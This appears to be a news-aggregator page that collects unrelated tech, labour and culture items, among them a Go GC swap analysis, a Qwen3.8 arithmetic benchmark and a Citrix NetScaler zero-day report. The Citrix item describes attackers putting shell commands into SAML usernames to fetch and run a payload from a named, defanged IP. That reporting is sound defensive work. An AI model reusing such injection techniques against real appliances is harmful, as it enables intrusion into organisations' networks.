Andrea Kimi Antonelli, Mercedes, Max Verstappen, Red Bull Racing

Bahrain GP in Malaysia - Sunday, in photos

Max Verstappen, Red Bull Racing, Laurent Mekies, Red Bull Racing Team Principal

Bahrain GP in Malaysia - Sunday, in photos

Andrea Kimi Antonelli, Mercedes

Bahrain GP in Malaysia - Sunday, in photos

Read Also:

We want your opinion!

What would you like to see on Motorsport.com?

Take our 5 minute survey.

- The Motorsport.com Team

A tribute to one of the best games on the Atari 2600

Hacker News
plicerin.github.io
2026-10-04 21:54:00
Comments...
Original Article

Activision · Atari 2600 · 1982

Carol Shaw's endless river, the same every time you fly it. The cartridge rebuilt from the original ROM , one instruction at a time: every bank, bridge, fuel depot and missile behaves as the real machine plays them.

River Raid's opening screen: the river between green banks, a helicopter, a fuel depot and a ship ahead, a house on the bank, the jet on the road and the status bar with score, fuel gauge and lives.

Press Play, then push up or fire to take off

← → steer · ↑ ↓ speed · Space fire · Enter Game Reset

How to play

Fly up the river and shoot what gets in your way. Fuel drains the whole time : fly over a depot to fill the tank before the gauge reaches E. Touch a bank, a bridge or anything on the water and the jet goes down.

At the controls

  • Steer ← → or A D
  • Speed up ↑ or W
  • Slow down ↓ or S
  • Fire Space / Z
  • Game Reset Enter
  • Pause · Mute P · M

On a gamepad

  • The joystick stick or D-pad
  • Fire A · B · X · Y
  • Game Reset Start
  • Pause Back

The Atari joystick has one button and eight directions, so every face button fires. Sound starts after your first click or key press; that is the browser's rule, not the cartridge's.

Fuel

The gauge under the river runs from E to F . It drains every frame you fly, faster than it looks, and a warning tone starts once it drops below a quarter.

Fly over a depot and the tank refills while you stay on it. Shoot a depot instead and it is worth 80 points , but the fuel is gone.

Lives

You start with three jets and earn another every 10,000 points , up to nine.

After a crash the river rewinds to the start of the section and replays it exactly, because the cartridge saved its random numbers there.

The river is never stored. The whole game fits in a 4,096-byte cartridge, so each 32-line block of river is built just before it scrolls into view, from a 16-bit random number generator that starts from the same seed, $A814 , every game. That is why the river never ends, and why it is the same river every time you play.

The river

Thirty-two blocks make a section, and every section ends at a road and a bridge . Odd sections run straight; even ones wind and split around islands. Further up the river there are more enemies and fewer depots.

Tanker

Tanker 30

Starts moving at random and patrols, turning back when it touches a bank. Where the river is too narrow for a ship, the cartridge puts a helicopter there instead.

Helicopter

Helicopter 60

Its rotor is two shapes swapped every other frame. Patrols like the tanker.

Jet fighter

Jet 100

Appears from section three. Crosses the whole screen without stopping and wraps around at the edge.

Fuel depot

Fuel depot 80

Refuels you while you fly over it, or scores if you shoot it.

The road and bridge at the end of a section

Bridge 500

Shoot it to open the next section. Flying into it costs a life.

House and tree

House 0

Scenery on the banks and islands, and the only thing on the river worth nothing.

Built from the ROM

This is not an emulator. Every routine of the cartridge was rewritten in JavaScript one 6502 instruction at a time , working on the same 128 bytes of RAM at the same addresses. To prove it, a small 6502 core runs the real ROM beside the port and every frame is compared, byte for byte.

0 differences from the cartridge in 45,000 compared frames of play

300,000 river-generator states checked, sections 1 to 48

31,840 pixels of the opening frame, identical to a Stella capture

4,096 bytes in the whole cartridge, code and graphics

Read in the ROM. The code holds a few things the manual never mentions:

  • There is no score in memory. The six digits are pointers to the digit graphics, and points are added to the pointers.
  • Collisions come only from the TIA's hardware latches, read once per river block. There is no collision arithmetic at all.
  • Flying into a ship, helicopter or jet still scores it as you go down.
  • Touching a house runs the same code as touching a fuel depot.
  • When a new block has only just scrolled in, a collision at the very top is filed under a seventh block that does not exist, and the flag lands in the first object's position byte.

The port keeps all of it, because that is the game.

Developer pages

A 40ms Go garbage collector pause caused by swap

Hacker News
frn.sh
2026-10-04 21:11:56
Comments...
Original Article

I’m writing this so you don’t slap your forehead like I almost did when I decided to run swap in production to absorb memory spikes.

I had a cgroup with two processes: one is a Go process that calls io.ReadAll and then proto.Unmarshal , creating a blob and then a graph struct (which is marked as scan by Go’s allocator). The other process is an HTTP server that mostly stays quiet.

Whenever the collector runs, it reads those scan spans, pointer by pointer, and decides what to do with them. So I thought: ok, under memory pressure, the kernel is going to evict pages to the swap device, but since the eviction is per cgroup, and not per process, both processes’ pages are going to be evicted - so there is only a small chance that this will turn into a sad dance of swap-in and swap-out between the kernel and the garbage collector.

I was wrong. While experimenting with this, I found a problem that could’ve hurt me: Go’s garbage collector reads its metadata (outside the heap, in a region that is not freed ) in a stop-the-world pause, and that metadata can be in swap.

I did a mock run on a Hetzner box using kernel 6.8 with MGLRU enabled 1 1 You can find everything about these experiments: plots, the mock allocator, bpf scripts, python scripts, etc., here: https://github.com/frnsimoes/go-gc-swap-cost . The median pause was around 51 us. With the metadata on the NVMe, the worst pause was 40ms.

alt

To check where those 40ms went, I wrote a small bpf script that counts page faults while the world is stopped. This was the worst one: 39902 us, faults during it 228, 39013 us in faults . 39 of those 40ms were spent in 228 page faults. Those faults happened inside the GC’s bookkeeping:

// addr2line output
0x42e5c8  runtime.(*spanSet).reset         /usr/local/go/src/internal/runtime/atomic/types.go:194
0x4219de  runtime.finishsweep_m            /usr/local/go/src/runtime/mcentral.go:71
0x4629cf  runtime.gcStart.func2            /usr/local/go/src/runtime/mgc.go:724
0x46dd8a  runtime.systemstack              /usr/local/go/src/runtime/asm_amd64.s:518
0x4169dc  runtime.gcStart                  /usr/local/go/src/runtime/mgc.go:722

0x4276a4  runtime.nextMarkBitArenaEpoch    /usr/local/go/src/runtime/mheap.go:2481
0x421a65  runtime.finishsweep_m            /usr/local/go/src/runtime/mgcsweep.go:268
0x4629cf  runtime.gcStart.func2            /usr/local/go/src/runtime/mgc.go:724
0x46dd8a  runtime.systemstack              /usr/local/go/src/runtime/asm_amd64.s:518
0x4169dc  runtime.gcStart                  /usr/local/go/src/runtime/mgc.go:722

That’s a potential failure mode. Go’s GC has to stop the world at two points: when it performs a sweep termination , and when it performs a mark termination . We had 312 of those pauses in 30 minutes.

So here is why this happens: the runtime allocates those pages. They are not freed, but reused. Those pages are read in GC cycles. Because the kernel evicts pages by age , it sends the least recently accessed pages to swap. The GC runs, stops the world, tries to read those pages, but now we have a major page fault. The kernel needs to read PTEs , and then call do_swap_page , find a new frame , charge it to the cgroup , read the pages , submit a bio , wait for the disk , and put them back in memory - just to keep it short.

Those 40ms seem harmless at first. But we are talking about a stop-the-world pause. Those 40ms mean everything has stopped - in Go’s terminology, every P has stopped , so, for example, if a goroutine was waiting for I/O, during that pause the I/O might return and there would be no one to handle it. 40ms is 800 times the median pause. It happens two or three times per memory spike during the test. It is a lot.

And then I noticed another thing: building one 511 KiB message, which usually takes 3-5 ms, jumped to 105 ms on the NVMe and 903 ms on Hetzner’s network volume. Per message, this costs more than the metadata pause. But only the goroutine doing the allocation pays that price, so at least it’s localized, and not global like the metadata one.

alt

I haven’t confirmed where that time goes, but even so I wanted to mention it here, because that’s another cost you would have to pay. In any case, I agree with Chris Down , swap is not evil . But, yeah, it didn’t behave well with garbage collection, and, in production, I’m collecting a lot.


Update, September 14 .

Someone asked me if Go 1.26’s Green Tea garbage collector changed the way the GC reads metadata. I measured it, and the impact is negligible.

alt

Qwen3.8 27B addition in words

Simon Willison
simonwillison.net
2026-10-04 19:34:00
Research: Qwen3.8 27B addition in words Colin Frasier posted on Bluesky about an experiment he ran over two years ago using GPT-4o to see how well it could "compute the sum but return the answer in words" across increasingly large numbers. Here's the chart he shared of those results: I'm co...
Original Article

Research Qwen3.8 27B addition in words — A benchmark tested whether the local `Qwen3.8-27B-Q4_K_M.gguf` model could add positive integers and express exact results solely in English words, using 5,070 reasoning-disabled cases and a paired 169-case comparison with medium reasoning. Without reasoning, it achieved 23.57% numeric accuracy, with performance dropping from 97.04% for one- to three-digit operands to 6.44% for ten- to thirteen-digit operands, despite 96.17% format compliance.

Colin Frasier posted on Bluesky about an experiment he ran over two years ago using GPT-4o to see how well it could "compute the sum but return the answer in words" across increasingly large numbers. Here's the chart he shared of those results:

Heatmap chart of accuracy on an addition prompt, colored from dark green (high) through yellow to dark red (low). Title: "What is {a} + {b}? Please write your answer in words. Do not include any other text or information, just the answer in words." Subtitle: 30 randomly selected pairs for each digit combination (n = 30 * 13 * 13 = 5070). X axis: Number of digits in a, 1 to 13. Y axis: Number of digits in b, 1 to 13. Legend: Accuracy, 1.00, 0.75, 0.50, 0.25, 0.00. Values by row, listed for a = 1 to 13. b = 13: 100%, 77%, 27%, 20%, 0%, 0%, 0%, 0%, 0%, 0%, 0%, 0%, 0%. b = 12: 97%, 80%, 80%, 40%, 23%, 20%, 7%, 13%, 20%, 27%, 67%, 63%, 3%. b = 11: 97%, 97%, 53%, 17%, 0%, 0%, 0%, 0%, 0%, 0%, 0%, 37%, 0%. b = 10: 100%, 90%, 47%, 20%, 7%, 0%, 0%, 0%, 3%, 0%, 0%, 7%, 0%. b = 9: 97%, 93%, 80%, 77%, 53%, 67%, 47%, 87%, 97%, 3%, 0%, 13%, 0%. b = 8: 93%, 87%, 53%, 43%, 7%, 0%, 0%, 13%, 87%, 0%, 0%, 0%, 0%. b = 7: 93%, 93%, 47%, 10%, 13%, 20%, 23%, 0%, 70%, 0%, 0%, 0%, 0%. b = 6: 100%, 100%, 100%, 83%, 97%, 97%, 23%, 0%, 53%, 3%, 0%, 10%, 0%. b = 5: 100%, 100%, 80%, 70%, 73%, 100%, 13%, 13%, 70%, 0%, 20%, 30%, 0%. b = 4: 100%, 100%, 93%, 100%, 60%, 97%, 20%, 50%, 67%, 53%, 40%, 40%, 40%. b = 3: 100%, 100%, 97%, 90%, 83%, 100%, 63%, 50%, 63%, 53%, 60%, 60%, 30%. b = 2: 100%, 100%, 90%, 97%, 93%, 100%, 93%, 83%, 90%, 83%, 87%, 87%, 83%. b = 1: 100%, 100%, 100%, 97%, 100%, 97%, 97%, 97%, 100%, 100%, 100%, 97%, 100%.

I'm confident GPT-4o didn't cheat and use a calculator, especially since it got so many of the calculations wrong, but I was inspired to run the experiment again on local hardware (a DGX Spark) to explore the effect in a fully controlled environment.

I pasted his image into a Codex Remote session (GPT-6 Astra) and had it run the same experiment using Qwen3.8-27B-Q4_K_M.gguf . Here's the result for a run of 30 attempts per combination with reasoning disabled:

Heatmap in the same layout as the previous chart, using an orange (low) to white to blue (high) color scale, showing much lower accuracy overall. Title: Addition in words — Qwen3.8 27B Q4_K_M. Subtitle: Reasoning disabled · 30 fixed pairs per ordered digit-length cell (n = 5,070). Overall numeric accuracy: 1,195 / 5,070 (23.57%). X axis: Number of digits in a, 1 to 13. Y axis: Number of digits in b, 1 to 13. Legend: Accuracy, 100%, 75%, 50%, 25%, 0%. Values by row, listed for a = 1 to 13. b = 13: 17%, 13%, 0%, 0%, 0%, 0%, 0%, 0%, 0%, 0%, 0%, 0%, 0%. b = 12: 53%, 20%, 0%, 0%, 0%, 0%, 0%, 0%, 0%, 0%, 0%, 0%, 0%. b = 11: 47%, 10%, 0%, 0%, 0%, 0%, 0%, 0%, 0%, 0%, 0%, 0%, 0%. b = 10: 70%, 27%, 3%, 0%, 0%, 0%, 0%, 0%, 0%, 13%, 0%, 0%, 0%. b = 9: 77%, 47%, 3%, 0%, 0%, 0%, 0%, 3%, 7%, 0%, 0%, 0%, 0%. b = 8: 53%, 20%, 0%, 0%, 0%, 0%, 7%, 13%, 0%, 0%, 0%, 0%, 0%. b = 7: 53%, 23%, 17%, 10%, 3%, 3%, 13%, 3%, 0%, 0%, 0%, 0%, 0%. b = 6: 60%, 60%, 33%, 10%, 53%, 47%, 7%, 3%, 0%, 0%, 0%, 0%, 0%. b = 5: 73%, 67%, 87%, 80%, 53%, 40%, 0%, 0%, 3%, 0%, 0%, 0%, 0%. b = 4: 83%, 93%, 90%, 93%, 53%, 13%, 0%, 0%, 0%, 0%, 0%, 0%, 0%. b = 3: 100%, 93%, 90%, 80%, 67%, 37%, 17%, 0%, 0%, 3%, 0%, 0%, 0%. b = 2: 100%, 100%, 93%, 90%, 77%, 77%, 43%, 50%, 63%, 43%, 40%, 13%, 23%. b = 1: 97%, 100%, 100%, 100%, 80%, 67%, 77%, 80%, 80%, 60%, 43%, 30%, 37%. Footnote: Colorblind-safe orange–blue scale; percentages provide a redundant non-color encoding.

Then I ran it again with reasoning enabled. This took a lot longer per pair, so instead of running 30 samples per square I ran just one - which results in a much less visually appealing heatmap since each square is either 100% or 0%:

Heatmap in the same layout as the previous charts, almost entirely blue. Title: Addition in words — Qwen3.8 27B — medium reasoning pilot. Subtitle: 1 fixed pair per ordered digit-length cell · easiest first (n = 169). X axis: Number of digits in a, 1 to 13. Y axis: Number of digits in b, 1 to 13. Legend: Accuracy, 1.00, 0.75, 0.50, 0.25, 0.00. Every cell shows 100% except two orange cells showing 0%: a = 2 with b = 8, and a = 12 with b = 9.

It got the right answer in 167 out of 169 attempts, and since these were one-shot I'm confident a second run would produce different results here.

Here's a version of the report that includes the reasoning traces from some of those larger calculations, which include text like this:

Wait, let me redo this more carefully.

4,299,366,105,622
6,088,794,067,970

Let me align them:
4 2 9 9 3 6 6 1 0 5 6 2 2
6 0 8 8 7 9 4 0 6 7 9 7 0

Adding from right to left:
Position 1 (units): 2 + 0 = 2
Position 2 (tens): 2 + 7 = 9
Position 3 (hundreds): 6 + 9 = 15, write 5, carry 1

ArtCraft Apps – open-source Adobe compatible suite written in Rust

Hacker News
getartcraft.com
2026-10-04 19:02:43
Comments...
Original Article

01 Crafting Apps

Seven apps · Open source · Pure Rust

03 Principles

Shared by every craft

Built the hard way.

Every Crafting App is written from scratch in Rust and held to the same rules.

  1. Open source

    Every line is on GitHub under permissive licenses. Read it, fork it, build on it.

  2. Native, not wrapped

    Pure Rust compiled to real desktop apps for macOS, Windows and Linux. No Electron, no web views.

  3. Familiar from day one

    Layouts, tools and shortcuts that working professionals already know, so there's nothing to relearn.

  4. Your files, your machine

    Everything runs locally on your own files. No cloud round-trips between you and your work.

  5. Agent-ready

    Drive every app from a CLI, a JSON control channel or an MCP server, built for automation and AI agents.

  6. Also in your browser

    PhotoCraft, VectorCraft, LightCraft, PrintCraft, EffectCraft, and DesignCraft also compile to WebAssembly and run in a browser tab.

Open source · Free

Build it with us .

Early builds, roadmaps and the people making the Crafting Apps all live in the ArtCraft Discord.

Join the Discord

Mexican VW Workers Weigh Strike As Company Cuts Jobs Globally

Portside
portside.org
2026-10-04 18:18:28
Mexican VW Workers Weigh Strike As Company Cuts Jobs Globally Marti Sun, 10/04/2026 - 18:18 ...
Original Article

Update: On October 2, the SITIAVW bargaining committee reached a tentative agreement with VW offering a 13.16 percent combined increase to wages and benefits over the next two years. The agreement would guarantee the 611 members laid off in September would be rehired in the future, and guarantee jobs for the current workforce at the plant. Members still have to vote on the deal.

Mexican Volkswagen workers could soon be on strike if their salary demands are not met. The 6,500 workers build the Jetta, Tiguan, and Taos at the company’s Puebla plant, the largest Volkswagen facility outside of Germany. Their union, SITIAVW, is one of Mexico’s most storied independent unions, and is in the midst of an annual wage reopener at the plant.

On September 11, workers overwhelmingly voted down the company’s offer of a 10 percent combined increase to wages and benefits. (The union had been pushing for a 17 percent increase earlier in negotiations.) Days before the tentative agreement was put to a vote, Volkswagen cut one of three shifts in a segment of the plant that produces the Jetta and the Tiguan. Approximately 800 workers lost their jobs, El Financiero reported.

Within days of the firings, the union announced that 611 of the workers—those who did not sign voluntary separation agreements—would be eligible for reinstatement when Volkswagen begins production of its Golf compact car at the Puebla facility next April. But the damage was done: 5,925 of the company’s 6,440 eligible voters participated in the ratification vote: of them, 73 percent voted to reject the offer , in what SITIAVW advisor Willebaldo Gómez Zuppa characterized as an expression of anger at the firings. The deal would have also pushed the next wage reopener to 18 months out instead of the yearly cycle, angering workers.

“We are not blind to the delicate crisis facing the German automotive industry, nor are we ignoring the global financial challenges Volkswagen cites,” the union said in a statement after workers voted down the offer. “But let it be heard loud and clear, all the way to Wolfsburg: corporate crises will not be resolved at the expense of the sweat, the rights, and the future of the Mexican working class.”

Volkswagen did not respond to requests for comment.

GLOBAL LAYOFFS

In September, VW announced plans to eliminate 100,000 jobs globally by 2030 —marking the largest culling of jobs ever seen by a single automaker. IG Metall, which represents 120,000 Volkswagen workers in Germany and sits on the company’s supervisory board, told the Guardian that both sides had made concessions to stave off “a dangerous escalation of the conflict.”

It remains unclear how many more cuts are expected in Puebla. Since 2012, the plant has cut its workforce by 36 percent, Milenio reported, but it remains one of the largest employers in the state today. About 6,500 production workers are directly employed at the plant, which produces vehicles largely for export to the United States. Some 30,000 more work in the wider auto supply chain across the state.

“I think the company, from the first moment, never wanted to negotiate,” said Gómez Zuppa. “The fastest thing you can do to reduce costs is to fire workers. I think that in that sense, they are seeking a greater conflict to justify making greater cuts.”

Strikes in Mexico are different than in the U.S. Under Mexican labor law, companies must cease all production at a struck plant—unlike in the U.S., where companies can use managers and hire replacement workers to continue operations. That gives Mexican unions tremendous power. Yet strikes in the country’s auto industry, the world’s seventh largest, have been exceedingly rare in recent decades, with most of the industry’s contracts held by employer protection unions who have been a key partner in Mexico’s low-wage development model. SITIAVW, one of the few independent unions, has won the highest wages in the industry.

Strikes do pose some risk though.

In Mexico, employers must provide a justification to the government for firings. Among those justifications can be losses incurred due to a strike, Gomez Zuppa said: “It opens the door before the government to say, ‘That’s why I have to fire so many people.’”

“It’s not hard to go out on strike,” said Hugo Tlalpan, SITIAVW’s General Secretary. “The hard thing is ending it.”

ONE MINUTE LATE

The Puebla plant has been in operation since 1967. In the plant’s early days, workers were affiliated with the Confederation of Mexican Workers, or CTM, a labor confederation known for imposing pro-employer “protection contracts” on workers. But in 1972, workers split off from the CTM and formed the independent SITIAVW. Since then, the plant has seen a number of strikes and workplace actions—and nearly as many efforts from Mexico’s halls of power to subvert them.

In 1992, 14,500 workers at the Puebla facility struck to expel their union leadership that some workers felt was complicit in negotiating an employer-friendly contract. With the blessing of the Secretary of Labor, the company locked them out, then fired them. About 10,000 were rehired a day later, but under an agreement that imposed higher productivity targets, flexible scheduling, and a reduction in benefits.

In 2000, workers struck again, and once more their strike was quashed with support of Mexico’s labor authorities. Because workers went out on strike at 11:01 a.m. instead of exactly at 11, their stated strike deadline, the Federal Arbitration Board deemed their strike invalid. (They struck a year later and clinched 14.7 percent raises .)

The union is carefully weighing its options in this round of negotiations; so far, SITIAVW has extended its strike deadline four times. Most recently, just two days before the September 17 strike deadline, the union extended the deadline to Friday, October 2.

“This is an attack on one of the most robust collective bargaining agreements [in the country],” Gomez Zuppa said. What happens next will have repercussions for autoworkers throughout Mexico and Volkswagen workers across the world.

South Park Has AI Datacentres, Sentient Penises and a Billionaire Problem – in More Ways Than One

Portside
portside.org
2026-10-04 18:12:50
South Park Has AI Datacentres, Sentient Penises and a Billionaire Problem – in More Ways Than One Marti Sun, 10/04/2026 - 18:12 ...
Original Article

Butters takles an AI problem in the second episode of South America (aka South Park). | Photograph: Paramount

A little over a year ago, South Park creators Trey Parker and Matt Stone renewed their deal with Paramount after a contentious negotiation that held up production of the 2025 season.

That $1.5bn agreement raised questions about whether Paramount, newly owned by David Ellison, would really offer the creators creative freedom – or was the billionaire class solidifying its hold over a comedy series as cover to meddle in other divisions, like CBS News?

The deal also made Parker and Stone likely billionaires themselves. Between this renewal and their co-ownership of the South Park intellectual property, they each have an estimated net worth of over $1bn.

The second episode of the show’s 29th season examines life from either side of the billionaire/regular people divide. On one hand, Parker and Stone are unsparing of their corporate benefactors, depicting billionaires as tiny, sentient penises with high-pitched voices who are addicted to sharing their stupid opinions on podcasts and social media in their miniature city called Billionaire Weenietown.

On the other hand, Parker and Stone aren’t exactly taking shots from outside Weenietown. Though they were certainly famous before becoming billionaires, they were still outside that world. Being a billionaire is a very different sort of outsider status no matter how much dumber Elon Musk is than you. Keep that in mind when Parker and Stone shrug off the existence of billionaires as no big deal.

You can’t accuse them of not giving voice to anti-billionaire sentiment, though. This episode starts with Butters using a school presentation on “My Happy Place” as an opportunity to rant about the datacentre that has sprung up in his back yard, sapping electricity and interrupting his actual happy place: calmly watching Dr Pimple Popper videos online. Butters isn’t just using “my back yard” rhetoric to refer to events in South Park, er, South America . Billionaire Weenietown has literally sprung up in his back yard, and his parents aren’t remotely concerned. Instead, they blindly use billionaire-backed AI to redesign their home and fret that Butters has been made “libtarded” by the measles vaccination he was given as a child. “Nobody’s pissed off except for me!” Butters roars; relatable, honestly.

The other South Park kids are largely absent from this go-round, and even Butters flits in and out of his own episode. Many scenes are devoted to the billionaire weenies themselves – rendered with horrifying live-action puppetry and animation, a nice (well, kind of repulsive) callback to Parker and Stone’s fondness for crude (in both senses of the word) mixed media.

Butters uses a school presentation on ‘My Happy Place’ as an opportunity go on a furious rant about the datacentre literally in his backyard. Photograph: Paramount

The problem, the weenies’ leader insists, is not the preponderance of billionaires, which supposedly have been around for ages. (Technically true, though misleading; the billionaire class is growing , and for much of the past century there were as few as a dozen, compared to thousands now.) The real problem is that the billionaires have been ignoring the time-tested strategy of laying low and keeping quiet as they amass wealth. Parker and Stone zero in on the particularly 21st-century compulsion that the rich and powerful have, aided by the internet, to think of themselves as deep thinkers and incredibly cool.

As such, the lead weenie must go over the guidelines: flying private jets everywhere, buying huge yachts for the purposes of doing drugs, and spending big on sex workers are all permissible. Going on Joe Rogan’s podcast to talk about peptides, however, is banned, as is using social media to feed Covid conspiracies or pick fights with Mark Ruffalo and Macklemore. But some billionaires just refuse to listen, no matter how many times they’re reminded of how constitutionally unequipped they are to be cool.

The episode’s philosophy eventually circles back to a treasured tenet of South Park, tellingly repeated by a billionaire weenie in this episode: “All you need to do is learn to shut up.” Isn’t that more or less Parker and Stone’s advice to everyone about everything?

Indeed, that’s more or less what Butters learns to do by episode’s end. Yes, he does strike a deal to attract the billionaire infestation by putting out a podcast mic and asking for opinions (great gag), vacuuming a bunch of them up, and shuttling them over to Nashville, hoping that they bother another city instead. But his renewed sense of calm at episode’s end, enhanced by the regained ability to watch his YouTube show, does feel kind of like another Parker/Stone lesson about how ultimately, getting worked up over anything is dumb and pointless. Why is Butters repentant about getting angry about this stuff when it helped him get results, however half-arsed?

Still, it’s hard to begrudge Parker and Stone their cynicism when they’re offering some solid running gags. Once again, adults want to wait until November because “that’s when Grand Theft Auto 6 comes out”, but are moved to act because the datacentres’ electricity usage threatens their ability to play it. They continually take swings at podcasters, who obviously annoy them way more than datacentres or AI does. Butters’ dad, for example, spends the entire episode on a tangent about how his wife refused to heed nonsensical warnings about vaccines: “You never listen to a single podcast I say!” he screams.

As for AI, well, apparently the South Park guys feel like it has its uses, resources be damned. The episode closes with an AI-generated image of Donald Trump trudging into a bathroom stall, pulling down his semi-soiled pants, and then watching as his own billionaire penis detaches from his body and flies away. It’s a wonderfully crude and spiteful postscript – so long as you remember that it’s two funnier, smarter billionaires taking shots at a guy who is, in a sense, one of their own.

Citrix patches NetScaler SAML zero-day exploited in attacks

Bleeping Computer
www.bleepingcomputer.com
2026-10-04 17:58:01
Citrix has released emergency updates for a new NetScaler denial-of-service vulnerability tracked as CVE-2026-88779 that has been exploited in zero-day attacks, with researchers investigating whether it can also be exploited for remote code execution. [...]...
Original Article

Citrix

Citrix has released emergency updates for a new NetScaler denial-of-service vulnerability tracked as CVE-2026-88779 that has been exploited in zero-day attacks, with researchers investigating whether it can also be exploited for remote code execution.

The vulnerability is a memory buffer flaw affecting NetScaler ADC and NetScaler Gateway appliances using SAML authentication with Gateway or AAA functionality.

The Citrix security advisory says the vulnerability has a CVSS score of 8.7 and has been used in targeted attacks against unmitigated NetScaler deployments, causing denial-of-service conditions.

"Citrix has observed targeted attacks on unmitigated NetScaler deployments which can lead to Denial of Service," Citrix said in a related blog post published today.

"If the condition is triggered repeatedly, the service may remain unavailable. Our analysis indicates that this issue affects service availability, and we have not identified an impact on the integrity of customer data."

Early Sunday morning, Citrix released NetScaler ADC and NetScaler Gateway 14.1-73.41 and 13.1-64.28 to fix the CVE-2026-88779 zero-day flaw.

For FIPS deployments, customers should upgrade to 14.1-73.41 FIPS. NetScaler ADC FIPS and NDcPP customers on the 13.1 branch should install 13.1-37.282.

Citrix is also providing Global Deny Lists that will block access from known malicious IP addresses. However, the company recommends that customers install the newly released security updates as soon as possible.

The company says organizations can determine if their appliances are vulnerable to the flaw by checking whether SAML authentication is configured:

  • Appliance is configured as a SAML SP
    add authentication samlAction

    OR

  • Appliance is configured as a SAML IdP
    add authentication samlIdPProfile

Unfortunately, organizations that recently upgraded NetScaler devices to fix two actively exploited vulnerabilities must upgrade them again to fix this flaw.

"If you upgraded your NetScaler deployment with one of the updated software releases identified in the security bulletin for CVE 2026-88771 through CVE 2026-88778, and if you have determined that your NetScaler deployment meets the preconditions describe above, please upgrade your deployment again," Citrix warned.

Researchers investigate possible code execution

While Citrix describes CVE-2026-88779 as a denial-of-service vulnerability, NetScaler administrators and cybersecurity researchers have seen activity that indicates the flaw can be used for remote code execution.

The new attacks were first reported on Thursday after NetScaler administrators reported that recently patched appliances were unexpectedly rebooting.

In a Reddit thread , one NetScaler admin said multiple customers running NetScaler 14.1-73.37 were experiencing repeated forced reboots despite having installed the latest security updates available at the time.

Other administrators quickly reported similar behavior, including on appliances rebuilt from fresh images. Another Reddit thread said nsaaad was repeatedly crashing until NetScaler's Pitboss process reached its restart limit and rebooted the appliance.

At first, it was unclear whether vulnerability scanners were triggering a bug in recently released firmware or whether attackers were actively exploiting new flaws in NetScaler devices.

However, one administrator investigating these incidents on NetScaler 14.1-73.37 devices saw crafted authentication usernames containing shell commands that download a payload from the IP address 213.209.159[.]55, save it as /v, and execute the file.

According to the administrator, these requests appeared immediately before three confirmed nsaaad crash sequences on one appliance and targeted multiple SAML authentication factors.

The administrator stressed that the logs showed attempted exploitation and correlated crashes but did not confirm that the commands were successfully executed.

Other administrators reported the same nsaaad and Pitboss crash patterns, including on systems already upgraded to version 14.1-73.37.

As administrators continued investigating the crashes, Citrix published a security notice on Friday saying its engineering and support teams were tracking a "newly observed issue" related to SAML authentication in customer-managed NetScaler deployments.

The company said affected configurations contain either an authentication samlAction or authentication samlIdPProfile setting and advised customers experiencing the issue to contact Citrix support.

Citrix also confirmed that the issue was different from the previously disclosed NetScaler vulnerabilities.

Cybersecurity expert Kevin Beaumont also reported that patched NetScaler 13.1 and 14.1 honeypots were crashing after receiving requests from multiple source IP addresses, describing the activity as potentially another "PitScaler" vulnerability.

He later said the activity appeared to go further than just denial-of-service, after finding that one of his patched honeypots was running a downloaded malware payload.

"So on one of the honeypots it’s running a downloaded (malware) binary. Both were patched, so new vuln," Beaumont said.

"It’s being sprayed and prayed. One of the honeypots doesn’t even have a valid SSL certificate as I let it expire."

Beaumont also said that CVE-2026-88779 was described as a "Memory overflow vulnerability leading to Denial of Service," similar to how the previously disclosed CVE-2025-6543 was initially characterized before later attacks showed it could be used for remote code execution .

Cybersecurity company watchTowr Labs also confirmed that it reproduced the vulnerability after initially investigating reports of NetScaler honeypot activity.

The researchers have not yet disclosed technical details about how they reproduced the flaw.

On Sunday, CISA added CVE-2026-88779 to its Known Exploited Vulnerabilities catalog, confirming the flaw is being actively exploited and giving FCEB agencies until October 7 to mitigate it.

article image

Build your security blueprint for AI-powered attacks

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

Save your seat

In the wake of closure, a digital archive of animated materials appears online

Hacker News
filmstories.co.uk
2026-10-04 17:01:28
Comments...
Original Article

The stop motion work of Phil Tippett and the now closed Tippett Studios is being preserved in a free-to-browse online archive. August brought with it the sad news that Tippett Studios, the Berkeley-based animation and effects house founded by Phil Tippett, was closing down. The company had been in financial trouble for a while, and ... Tippett Studios | In the wake of its closure, a digital archive of animated materials appears online

The stop motion work of Phil Tippett and the now closed Tippett Studios is being preserved in a free-to-browse online archive.


August brought with it the sad news that Tippett Studios, the Berkeley-based animation and effects house founded by Phil Tippett, was closing down . The company had been in financial trouble for a while, and as it closed its doors on the 28th of that month, decades of props, memorabilia and art was sold off in a two-day auction.

As if the closure itself – and Phil Tippett’s retirement – wasn’t sad enough news on its own, there was the fear that huge amounts of art stored in the studio was about to vanish into private collections, never to be seen again. Tippett was, after all, the animator whose work illuminated the likes of Star Wars, RoboCop, Starship Troopers and too many other classic movies to list.

There’s now happier news to report, though. An anonymous person was at the auction in August, spotted a folder of CD-ROMs and other discs, and managed to acquire it for an undisclosed sum. Rather than keep the contents of those discs to themselves, that person has now uploaded it all to the Internet Archive .

“I quickly realized that some of this information wasn’t available online and might not ever be in the future in such high resolution,” the donor, who simply calls themselves ‘TippettFan’, writes. “So I purchased the disc folder and digitized all of its contents. What you have here are .ISO image files of the 90 key, non-duplicated discs from Tippett’s archives.”

The huge collection of discs, now preserved on Archive.org. Credit: TippettFan.

There are a few clips in there that are available to view online, including test clips of CGI creatures and an interview with Phil Tippett from 2008. The bulk of the archive, however, is all in the .ISO disc image format the donor mentioned above – and there are gigabytes of files to download and comb through ( listed here ), with filenames describing behind the scenes images from RoboCop and Starship Troopers , slides of Tippett’s work on the original Star Wars, and, unexpectedly, publicity stills from the calamitous Catwoman .

In short, there’s a ton of film history here, and it’ll likely take weeks for historians and fans to comb through. We’ll be going through some of it ourselves, undoubtedly, and will report back if we find anything we think you might find interesting.

For now, though, what a treasure trove. Thank you to TippettFan, whoever you are, and thanks too to Brandon Sheffield for highlighting the archive on BlueSky.

Protocol-aware recovery for consensus-based storage (2018)

Lobsters
www.usenix.org
2026-10-04 16:00:34
Comments...
Original Article
No preview for link for known binary extension (.pdf), Link: https://www.usenix.org/system/files/conference/fast18/fast18-alagappan.pdf.

Hell Gate 2026 Annual Report

hellgate
hellgatenyc.com
2026-10-04 16:00:03
As Hell Gate roars into its fifth year, let's take a minute to talk about how things are going....
Original Article

Great! You’ve successfully signed up.

Welcome back! You've successfully signed in.

You've successfully subscribed to Hell Gate.

Your link has expired.

Success! Check your email for magic link to sign-in.

